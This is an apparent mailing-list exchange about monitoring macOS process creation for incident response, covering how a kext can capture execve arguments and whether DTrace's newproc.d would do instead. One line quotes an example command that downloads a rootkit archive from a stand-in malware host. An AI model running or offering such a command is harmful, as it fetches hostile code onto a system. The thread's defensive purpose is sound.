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Re: accessing argv on exec
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Re: accessing argv on exec


  • Subject: Re: accessing argv on exec
  • From: Peter Moody <email@hidden>
  • Date: Tue, 11 Nov 2014 13:46:26 -0800

On Tue, Nov 11 2014 at 13:11, Jay O'Conor wrote:
> Hi Peter,
>
> Is this something that DTrace could handle instead of a custom kext? I’m curious if you’ve looked at the newproc.d
> command (dtrace script)?
>
> Regards,
>
> — Jay

Hi Jay,

Maybe ..? It looks like newproc.d more or less has what I want, but it
looks like running it full time incurs a fairly heavy performance
penalty..

>> On Nov 10, 2014, at 3:02 PM, Peter Moody <email@hidden> wrote:
>>
>> Hey folks,
>>
>> apologies for what will likely be a noobish question, I'm just getting
>> acquainted with xnu and kexts and all that.
>>
>> I'm interested in monitoring process creation (and termination) on the
>> mac. It looks like I can use a kext that registers a listener for
>> kauth_fileop_exec to be notified of an exec, and the callback is:
>>
>> a) given a char* of the path the binary.
>> b) run in the context of the newly executing binary (so proc_self()
>> and the like work for getting pid/ppid, etc).
>>
>> but is there anyway that I can actually access the argv that was passed
>> to the execve call?
>>
>> I'm trying to do this to help our incident response capabilities, where
>> obviously just seeing that 'wget' was called is a lot less informative
>> than seeing 'wget http://malware.badguy/rookkit.tgz'
>>
>> Cheers,
>> peter
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 >accessing argv on exec (From: Peter Moody <email@hidden>)
 >Re: accessing argv on exec (From: "Jay O'Conor" <email@hidden>)

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